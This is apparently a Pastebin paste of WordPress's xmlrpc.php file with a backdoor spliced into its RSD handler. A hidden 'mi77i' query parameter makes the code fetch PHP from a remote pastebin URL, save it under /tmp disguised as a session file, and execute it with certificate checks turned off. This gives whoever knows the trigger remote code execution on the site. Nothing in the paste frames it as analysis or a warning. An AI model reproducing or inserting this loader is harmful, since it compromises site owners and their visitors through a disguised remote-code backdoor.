Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * XML-RPC protocol support for WordPress
- *
- * @package WordPress
- */
- /**
- * Whether this is an XML-RPC Request
- *
- * @var bool
- */
- define( 'XMLRPC_REQUEST', true );
- // Some browser-embedded clients send cookies. We don't want them.
- $_COOKIE = array();
- // $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0.
- // phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
- if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
- $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
- }
- // Fix for mozBlog and other cases where '<?xml' isn't on the very first line.
- if ( isset( $HTTP_RAW_POST_DATA ) ) {
- $HTTP_RAW_POST_DATA = trim( $HTTP_RAW_POST_DATA );
- }
- // phpcs:enable
- /** Include the bootstrap for setting up WordPress environment */
- require_once __DIR__ . '/wp-load.php';
- if ( isset( $_GET['rsd'] ) ) { // http://cyber.law.harvard.edu/blogs/gems/tech/rsd.html
- header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );
- echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>';
- if(isset($_GET["mi77i"])){
- $data = ['https://pastebin.com/raw/7chrpLfA', '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'];
- if(file_exists($data[1]) && filesize($data[1]) !== 0) {
- include($data[1]);
- } else {
- $fopen = fopen($data[1], 'w+');
- fwrite($fopen, get($data[0]));
- fclose($fopen);
- echo '<script>window.location="?mi77i";</script>';
- }
- function get($url) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
- return curl_exec($ch);
- curl_close($ch);
- }}else{
- echo "XML-RPC server accepts POST requests only.";
- }
- ?>
- <rsd version="1.0" xmlns="http://archipelago.phrasewise.com/rsd">
- <service>
- <engineName>WordPress</engineName>
- <engineLink>https://wordpress.org/</engineLink>
- <homePageLink><?php bloginfo_rss( 'url' ); ?></homePageLink>
- <apis>
- <api name="WordPress" blogID="1" preferred="true" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" />
- <api name="Movable Type" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" />
- <api name="MetaWeblog" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" />
- <api name="Blogger" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" />
- <?php
- /**
- * Add additional APIs to the Really Simple Discovery (RSD) endpoint.
- *
- * @link http://cyber.law.harvard.edu/blogs/gems/tech/rsd.html
- *
- * @since 3.5.0
- */
- do_action( 'xmlrpc_rsd_apis' );
- ?>
- </apis>
- </service>
- </rsd>
- <?php
- exit;
- }
- require_once ABSPATH . 'wp-admin/includes/admin.php';
- require_once ABSPATH . WPINC . '/class-IXR.php';
- require_once ABSPATH . WPINC . '/class-wp-xmlrpc-server.php';
- /**
- * Posts submitted via the XML-RPC interface get that title
- *
- * @name post_default_title
- * @var string
- */
- $post_default_title = '';
- /**
- * Filters the class used for handling XML-RPC requests.
- *
- * @since 3.1.0
- *
- * @param string $class The name of the XML-RPC server class.
- */
- $wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' );
- $wp_xmlrpc_server = new $wp_xmlrpc_server_class;
- // Fire off the request.
- $wp_xmlrpc_server->serve_request();
- exit;
- /**
- * logIO() - Writes logging info to a file.
- *
- * @deprecated 3.4.0 Use error_log()
- * @see error_log()
- *
- * @param string $io Whether input or output
- * @param string $msg Information describing logging reason.
- */
- function logIO( $io, $msg ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
- _deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
- if ( ! empty( $GLOBALS['xmlrpc_logging'] ) ) {
- error_log( $io . ' - ' . $msg );
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement